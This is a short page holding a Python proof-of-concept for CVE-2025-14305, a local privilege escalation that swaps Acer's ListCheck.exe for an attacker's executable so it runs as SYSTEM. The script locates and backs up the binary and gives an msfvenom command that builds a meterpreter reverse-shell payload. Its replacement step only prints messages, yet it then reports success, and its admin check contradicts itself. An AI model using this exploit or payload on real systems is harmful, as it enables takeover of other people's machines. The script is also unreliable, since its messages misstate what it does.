CVE-2025-14305: Acer ListCheck.exe 本地权限提升漏洞

# CVE-2025-14305 PoC - Acer ListCheck.exe Local Privilege Escalation # Replace ListCheck.exe with a malicious executable # This PoC demonstrates the file replacement attack vector import os import shutil import ctypes import sys def is_admin(): """Check if running with admin privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def get_listcheck_path(): """Locate ListCheck.exe path - adjust based on Acer installation""" possible_paths = [ r"C:\Program Files\Acer\ListCheck\ListCheck.exe", r"C:\Program Files (x86)\Acer\ListCheck\ListCheck.exe", r"C:\Windows\System32\ListCheck.exe", r"C:\Windows\SysWOW64\ListCheck.exe", ] for path in possible_paths: if os.path.exists(path): return path return None def create_malicious_exe(output_path): """ Generate a malicious executable that spawns a high-privileged shell. In a real attack, this would be a reverse shell or meterpreter payload. """ # This is a placeholder - in practice, use msfvenom to generate payload: # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe print(f"[*] Malicious executable would be written to: {output_path}") print("[*] In production, generate payload with: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o ListCheck.exe") def exploit(): """Main exploitation logic""" if not is_admin(): print("[!] This exploit requires low-privilege user access to target system") print("[!] Run as a standard local user account") listcheck_path = get_listcheck_path() if not listcheck_path: print("[!] ListCheck.exe not found on this system") return False print(f"[*] Found ListCheck.exe at: {listcheck_path}") # Backup original file backup_path = listcheck_path + ".bak" shutil.copy2(listcheck_path, backup_path) print(f"[*] Backed up original to: {backup_path}") # Replace with malicious executable create_malicious_exe(listcheck_path) print(f"[+] ListCheck.exe replaced with malicious executable") print("[+] Await system execution of ListCheck.exe (via scheduled task or service)") print("[+] Payload will execute with SYSTEM privileges") return True if __name__ == "__main__": exploit()